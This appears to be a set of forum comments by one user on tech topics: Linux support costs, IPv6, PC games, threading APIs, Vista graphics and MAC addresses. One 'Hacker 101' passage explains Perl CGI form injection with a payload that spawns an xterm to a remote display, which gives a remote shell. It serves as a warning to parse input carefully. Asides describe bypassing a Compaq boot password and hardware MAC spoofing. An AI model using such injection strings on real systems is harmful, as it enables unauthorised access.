The biggest reason, though, is because companies like Dell don't want their consumers unhappy. Imagine this - you call Dell tech support and they say "Oh, we don't support that - you need to look it up on the internet because X-brand linux doesn't have phone support." Consumer's problem is because they can't get to the internet because of a bad ethernet card and are basically screwed. Now imagine they did have phone support - they wait an hour calling Dell to find that Dell has no idea how to configure it and they need to call the software vendor. They call the software vendor, wait an hour and the software vendor determines it's a hardware problem. They call Dell (again) and wait an hour and Dell asks them to run a full hardware diagnostic report, but they don't know how to do it on that OS. Back to the software vendor's support, or maybe at this point they go shoot the machine in the head (bad computer joke - in old programmer lingo, a "head" is a monitor). That person NEVER BUYS DELL AGAIN and recommends others to never buy from them.
well, since you'd need to move off port 80, the solution is just use the trivial FTP protocol rather than http - heck, what more can you ask than anonymous, UDP packets and no security?
/etc/services doesn't usually have them all (the company I work for has assigned ports in the iana list, but not in /etc/services for my mac or linux boxes, for instance).
Here's a list of Assigned port numbers, since
Dell could just sell boxes with Linux unsupported (or vendor supported with a discounted license from, say, SuSE) and avoid a lot of the costs they generally assume under Microsoft licenses. You can already get cheap supported versions of Linux in some distributions for as little as $30. As for crapware, "if you build it, they will come." I don't think Earthlink cares whether you're running Windows, MacOS, or Linux. Companies like Transgaming could throw in a 2 month free subscription to Cedega. There's plenty of commercial opportunities in that space, though I seriously doubt they get $2 a pop (though I don't think they get that on the Windows side, either). Anyhow, support is generally only free for a very short time now - usually 3mo - 1 year - certainly not like the old days where you'd see 3 years or "forever" guarantees.
It really does boil down to a lack of unified Linux. Even vendors that support commercial software on Linux only support a few platforms (ours are SuSE and RedHat), even though it may work perfectly fine on Ubuntu - this is mainly because Novell and RedHat offer support for us if we have OS related problems. Those platform decisions were made more than 3 years ago - the selected vendors may be completely different today. Linux users tend to favor a distribution for a while, then favor a different one, as well - I've personally gone through Slackware, Debian, SuSE (mac and Windows), YellowDog (mac), RedHat, GenToo, Mandrake, and Ubuntu in the past 12 years.
iTunes would be a fun one - iTunes 6 ran in WINE, iTunes 7 has installation problems. I'm not sure if the iTunes 7 install problems were ever resolved, either (I don't use WINE, myself - I have a 2 Windows PCs, 2 Linux boxes and a mac in my home computer farm, so it's rather pointless). Still, if a large enough userbase appeared complaining about this, it probably would get fixed (either by WINE, or Apple).
There always is that 5% of complete noob, didn't finish high school, grew up in a swamp without electricity and never heard of a computer until their neighbor Jeb Jones bought one of them newfangled things that compose about 95% of support calls. Yes, I'm exaggerating and stereotyping, but if you can picture that person, you know exactly the skill level of people that make most support calls - people that think Microsoft Help is profound when you explain how to use it to solve their mostly inane problems (and they didn't find it on their own). People that think their computer will crash when the time zone or year changes (and not 2000). People you feel bad about charging a $35 (probably more by now) fee to answer a trivial question about a MS Windows (due to an OEM support agreement) like "My manual for program X says I should defrag the hard drive but doesn't tell me what that means - how do I do that?"
OTOH, there are privacy issues with IPv6 since it wants everyone to have a unique IP (no more hiding behind a WAP, for instance). Yes, you can change your MAC and clean out your IP to force a new unique IP (which may be identical if you don't move to a different network), but this is much uglier and more technical than, say, connecting into the WAP at a coffee shop and then leaving the shop (especially with short duration lease timout).
Personally, I have mixed feelings about jumbograms (packets over 64k Bytes), as well - you need networks that are designed for them for optimal performance, which means having an information only network, not a shared telecommunications ATM networks that break it all down into inefficient 53 byte packets anyway (better for voice than data). Yes, you likely will have some net gain, but it would be MUCH more if the network was data only. This is best for large file sends, not streaming, and generally only usable on one way, token, or non-saturated ethernet (where saturation ranges from 40-90% before severe degradation, depending on which study you look at).
IPv6 by nature is less efficient in bandwidth usage (due to larger headers), so smaller packets are actually less efficient (and I can't imagine the 120bps I sometimes get to India being any slower...).
IPv4 has support for Multicast, and IPSec, just not required. In many cases, it's supported.
Worst of all, just like with HDTV, I currently see no compelling reason to switch, even though I'm set up for it already (my servers, router, and DNS server all support it and I'm set up to use it, but subnets all have 6 attached like www6 and mail6) - I still even have an unassigned IPv4 address (since my ISP's plan sold them in a block) just in case I ever need it. I currently run both IPv4 & 6 with my router doing IPv6-4 translation to go to the outside world just to be prepared (my ISP also supports IPv6, but my work and many other nodes on the internet don't).
oh, and btw, it's officially IPsec (note capitalization) - be careful when talking to IPv6 people as they dislike seeing IPSec (dislike is an understatement... outright hostile is probably better).
well that was obvious - Halo 2 isn't even out yet on Windows (still XBox only), and will require Vista when it is released, even though XBox is essentially a DX 8 API (so basically they rewrote the graphics driver to DX10 just to force users to upgrade to Vista).
Halo on Mac was actually outsourced to MacSoft and ported by Westlake after Microsoft killed every version except XBox (and delayed working on the PC version until after the XBox version was finished, iirc). Peter Tamte of MacSoft worked for Bungie (and Apple) and so had an "in" for obtaining the mac port rights.
Microsoft does what's best for Microsoft - they have total hardware and software control of XBox, so they write their A list games that appeal to console and PC players for that platform first. They then release to PC 2 years later and only then allow ports off of that PC code for any other platform, which, if some porting house like MacSoft or Aspyr takes it, is several months later. I think they'd even allow it to be ported to Linux if enough money was given, but past attempts at making profitable ports for linux have failed (see Loki Games).
This is more from a perl programmer (or really any shell scripting language) perspective - if you don't know a scripting language then I agree- VB/Excel is probably easier. Installing a web server is trivial and usually installed already, but maybe not enabled. Writing HTML is practically a non-issue these days - download a WYSIWYG editor and write the page. Yes, there's a learning curve, but creating a simple form is fairly trivial (and if that fails, find something you like that's similar, use "View Page Source" and copy).
I've done exactly this sort of interface before - the form basically got a list of machines and ports, a build, and a release level and kicked off a series of upgrades on those machines. As machines completed you would get Gray/Red/Yellow/Green indicators on the web results page (which just used a simple html update every 30 seconds). Gray meant not complete, Red meant it failed or the monitoring/processing script died on that machine, Yellow meant some oddity occurred but it reported successful (it was compared to a sample file), and Green meant successful. The perl scripts and web pages were really quite simple for all that and certainly didn't take a lot of processing power. For a password protected Intranet app, it worked great.
I'd go one step further about networked apps, however - this is REALLY BAD for a networked app - I'd recommend only using it for an internal app (which is what the author seems to be implying, anyway).
Why? Aside from the individual processes taking up a lot of CPU, because CGI (and perl especially) is notoriously easy to hack using carefully constructed form entries and needs to be parsed carefully (the one time I did this, my parser was longer than my code). Some of the earliest exploits used form hacks to gain root, which is why web servers typically don't run as root outside the parent process anymore (not sure about Windows servers, but if they run in admin mode they would be at risk).
Hacker 101: hacking perl using form entries
This is probably a bit technical if you're not versed in UNIX. The exploit is by no means limited to UNIX, but you need other commands to do what you want on other OSes.
Take a Form entry - you expect to parse something like
John Smith
what the hacker might put in is something like this (which might have errors, example is for the gist):
John Smith\n\";system(\"set DISPLAY=10.1.1.12:0.0; export DISPLAY; xterm &\");
note that I used the "long" form of export - this was intentional because sh doesn't always support the single line export command (export DISPLAY=... - really a ksh feature added to bash which sometimes replaces sh).
another note: spaces and some other chars get translated by the browser but are typically translated back in the perl program and there are some differences between GET and POST methods, but I'll ignore those since they really aren't relevant.
the goal for a hacker is to get the text read into a perl variable like this:
$var="John Smith";system("set DISPLAY=10.1.1.12:0.0;xterm &");
if you then do anything to the data such as
print $var
Perl constructs this as
print "John Smith";system("set DISPLAY=10.1.1.12:0.0;xterm &");
and then interprets it. Since ; means end one command and begin another, you actually get
print "John Smith";
and
system("set DISPLAY=10.1.1.12:0.0;xterm &");
nitpickers will notice there are still a few issues here - xterm might need to be the full path to the xterm app (and you're assuming UNIX or UNIX work-alike) and some sort of a UNIX at the other end with xhost permissions turned on for that domain or machine (or even an xhost + for everyone) on the hacker's server. This is just an example - you could just send spam using sendmail, for instance.
to be quite honest, when I used this exploit (a long time ago), I usually tried to attack the cgi directly on the address line whenever possible (bypassing line length limits from the browser).
heh, heh - Ultima III makes an old timer - youngster, you've got a lot to learn about being old
How about Atari 2600 Adventure (technically the first action-RPG)? I don't remember if I played that before or after Odyssey (see below).
somebody can now 1-up me and talk about Adventure on a mainframe (which is where it came first, I believe).
My first RPGs on a computer were Akalabeth (Ultima 0) and Odyssey: The Compleat Apventure on the Apple ][, which were mostly single player RPGs, though the mechanics of Odyssey were very different than most RPGs. Akalabeth was incredibly hard, then after I figured it out, incredibly easy. Instead of being an icon, you were a dot on a map. In a dungeon, you got the first person view like in the other Ultimas (Wizardry-like).
The first multi-player in a party (that wasn't a number) game I played was Wizardry: Proving Grounds of the Mad Overlord, then the Ultimas (backwards from III). I remember even writing a map editor for Ultima I-III (which were the same format), too, though one of my friends made a much better one (he could edit the icons and design his own monsters).
I know this is derived from a grandpa Simpson quote, but to put the quote in perspective, 40 rods is .125 miles and a hogshead is 63 gallons, so doing the conversion it's .00198 miles per gallon (.00084 km/liter according to google) or roughly a thousand gallons of gas to go 2 miles. That would cost me roughly $30000 per day at current gas prices to get to and back from work.
I've had a similar issue - the only places I can find anything new that isn't a "top tier" game is either Gamestop or CompUSA. Sometimes Best Buy and Target have some odd titles at Christmas, but they have reduced shelf space most of the rest of the year. I also like both Gamestop and CompUSA for carrying older titles and good games that didn't sell well for some reason. My local Best Buy has 4 shelves dedicated to PC games (8 at Christmas), but with 2 dedicated entirely to the Sims and World of Warcraft, respectively, there isn't much shelf space to spare. My local Gamestop has a smaller amount of shelf space, but since they keep only a few of each title out the selection is much broader. The CompUSA has the largest selection of PC games, but is also the furthest away (about 25 miles as opposed to 3).
As for price gouging, well, I think it's more-or-less a necessity, as used games really are where the profits are (especially when you only buy back the "hits"). I've seen similar pricing (and probably similar payout) at a local pawn shop that buys/sells console games in my limited searches through console games (not owning a console, personally, limits the searching, but I have neighbors and friends with XBox and PS3s).
no - you want a platform based thread abstraction.
I say this mainly because pthreads are _not_ thread safe with Windows threads and are only thread safe with the standard C function library. That alone should tell you you're asking for trouble if you use them with Windows.
personally, I like both APIs for different reasons. I find pthreads much easier and faster to set up and tear down. Windows has a lot more robust features that I had to re-implement myself for pthreads, such as a thread pool API (sometimes these are called worker threads).
No, it just means Groklaw is hiring!
Seeking a female technology lawyer with no affiliations with IBM. Blog skills a plus.
Emulation software for DX9 - ha - you apparently missed the fact that Vista is actually built on top of DX9, not DX10. DX9 is backward compatible to DX1, so you should technically be able to run any DirectX game on it. Aero is a DX9 based GUI (which is why it works on DX9 cards, but not earlier cards) with some limited forward compatibility with DX10 (so it can, say, run DX10 windows in a DX9 windowing system without compositing, which I believe was a change actually added to DX9.0c).
The problem is that Vista has a new driver interface and Microsoft puts the onus on hardware developers to create updated drivers that are not done in-house. Anytime you need to move off a heavily tested and debugged platform to a new one, you're going to have some growing pains. Drivers are usually the most susceptible to change because they're at the lowest level - even Apple has had issues there (moving from OS9 to X.0, and X.0 to X.2, as I recall, required rewriting the drivers)
OGL is a different matter - MS has made Vista OGL 1.3 compatible (so no 1.4, 1.5, 2.0, 2.1 features), but my understanding is that this is a software driver and it should work with any OGL 1.3 or lower program, even with no graphics card. They also deprecated the API and plan to remove it from Windows after 2 more major releases and then only support Direct X. Technically it should still be possible to use OGL > 1.3 in Vista by getting the card's callbacks similar to how XP worked, but there currently is a speed cost to that, which is one reason why OGL is slower than DX. Later this year OGL will get two new "profiles" that should address speed issues. The first, "Long's Peak" includes backward compatibility as well as a "Lean and Mean" profile that is not backwards compatible, but will be faster for people that don't need many older features. The second "Mt. Evans" due in October is a lot like DX10 - it only works on very new graphics cards and is not backwards compatible (see this doc for more details. I wouldn't expect to see a "Long's Peak" card until sometime in 2008, so Microsoft has a good jump on OGL.
yeah, but Apple (at least at last check) also doesn't resort to bottom-of-the-barrel components like you get in a $300 PC. Best Buy is happy selling PCs with these because they can often sell an overpriced maintenance contract as well, and the real money is in the service contracts. By the time Best Buy gets the box, it has at least survived a power-on test, so the majority of component failures are weeded out.
Not that I find Macs all that appealing for myself - I can usually assemble a decent box with similar hardware features for about the same price (but without all the bundled software, which tends to be the real deal for most mac buyers). I also can add components for much cheaper than Apple's store (which is really where Apple milks you, but so do most other PC makers), which is where I usually come out ahead as a DIYer. Back when I bought the mac I have (now 8 years old) Apple wanted $175 for a memory card. The same card (with matching memory timings) could be bought from Crucial for $95 at the time and is trivial to install - $80 for a 5 minute install job (this was a screwless B&W G3, making it even more trivial)? - that's ridiculous. The only components in the machine that ever failed were ones I added (like a 250GB drive) - I still use it as my web server. Even my home built PCs haven't lasted that long component-wise (though the legendarily bad "Deathstar" drives were mostly to blame). I've never had a CD or DVD burner last more than 3 years on a PC (including a $300 Plextor when they had a pristine reputation), but my DVD drives in both my mac and PC have never failed and I use both frequently.
The poster was reading the license wrong
You may not use the software installed on the licensed device... - this implies that you have a licensed device already (e.g. the primary install) and are trying to install on additional virtual machines. Usually when you see this, it is in a QA environment running something like VMWare and faking 2-4 separate machines (commonly used for keeping multiple builds or network environments around).
A mac specific example would be if you installed Windows using Boot Camp (or other install) and then tried to install a virtual copy using Parallels or VMWare.
You made me go into my back room and check... it looks like it depends on the card and/or manufacturer. I have 3 cards in my box and 2 have soldered EEPROMS and one is in a chip-fork removable slot. Nobody seemed to care about branding their cards, but from layout, I'd guess the soldered ones are Intel and the removable EEPROM is a DEC work-alike (tulip driver).
Still, it is far more reliable to check the MAC on hardware than what it is set to in software. It's not like you can easily switch it on the fly like you can with traditional spoofing. For that matter, once you're mucking with the hardware there's all kinds of things you can do. I remember old Compaqs had a static flash memory chip (no idea what kind of chip - it was too long ago) that held the POP (Power On Password). Remove the chip and boot without it and you bypass password protection.
You should be able to get the universally administered address (the burned in one) by querying the Ethernet hardware itself instead of checking it through software (the driver), which is my best guess why they do this check.
I can't say I've ever queried BIOS to see if it could be used for this, but my guess is it can - I've done something similar with Macintosh and the I/O Toolkit (which queried Open Firmware) to get the hardware address when attempting to write an Ethernet driver for a DEC 21040 card on mac several years ago (abandonware, but I just noticed there is someone else doing it - http://sourceforge.net/projects/darwin-tulip/).
Hardware spoofing of a MAC address usually requires desoldering the EEPROM, programming it into a chip writer and then reattaching it to the card, if I recall correctly (no I've never done this, but I have read about it).